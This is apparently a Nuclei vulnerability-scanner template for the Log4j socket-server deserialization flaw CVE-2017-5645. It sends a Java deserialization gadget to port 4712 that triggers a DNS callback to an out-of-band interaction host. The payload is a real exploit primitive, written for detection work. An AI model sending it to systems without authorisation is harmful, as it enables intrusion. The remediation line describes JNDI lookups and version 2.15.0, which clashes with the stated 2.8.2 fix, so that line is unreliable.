43 lines
1.8 KiB
YAML
43 lines
1.8 KiB
YAML
id: CVE-2017-5645
|
|
|
|
info:
|
|
name: Apache Log4j Server - Deserialization Command Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
description: |
|
|
In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
|
|
- http://www.openwall.com/lists/oss-security/2019/12/19/2
|
|
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
|
|
- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
|
|
remediation: |
|
|
Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2017-5645
|
|
cwe-id: CWE-502
|
|
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
|
|
epss-score: 0.74805
|
|
metadata:
|
|
max-request: 1
|
|
product: log4j
|
|
vendor: apache
|
|
tags: cve,cve2017,vulhub,network,apache,log4j,rce,deserialization,oast,
|
|
variables:
|
|
end: "\r\n"
|
|
tcp:
|
|
- host:
|
|
- "{{Hostname}}"
|
|
port: 4712
|
|
inputs:
|
|
- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
|
|
read-size: 100
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- dns
|
|
# digest: 4a0a0047304502204a51aa9b8a19d34f9af70d052c24471c653df726a06f72d4aca42ef52ea37771022100c8d623ab0d79bfc99ac193f02266f71802f868649c64997c36c480e9142041af:922c64590222798bb761d5b6d8e72950 |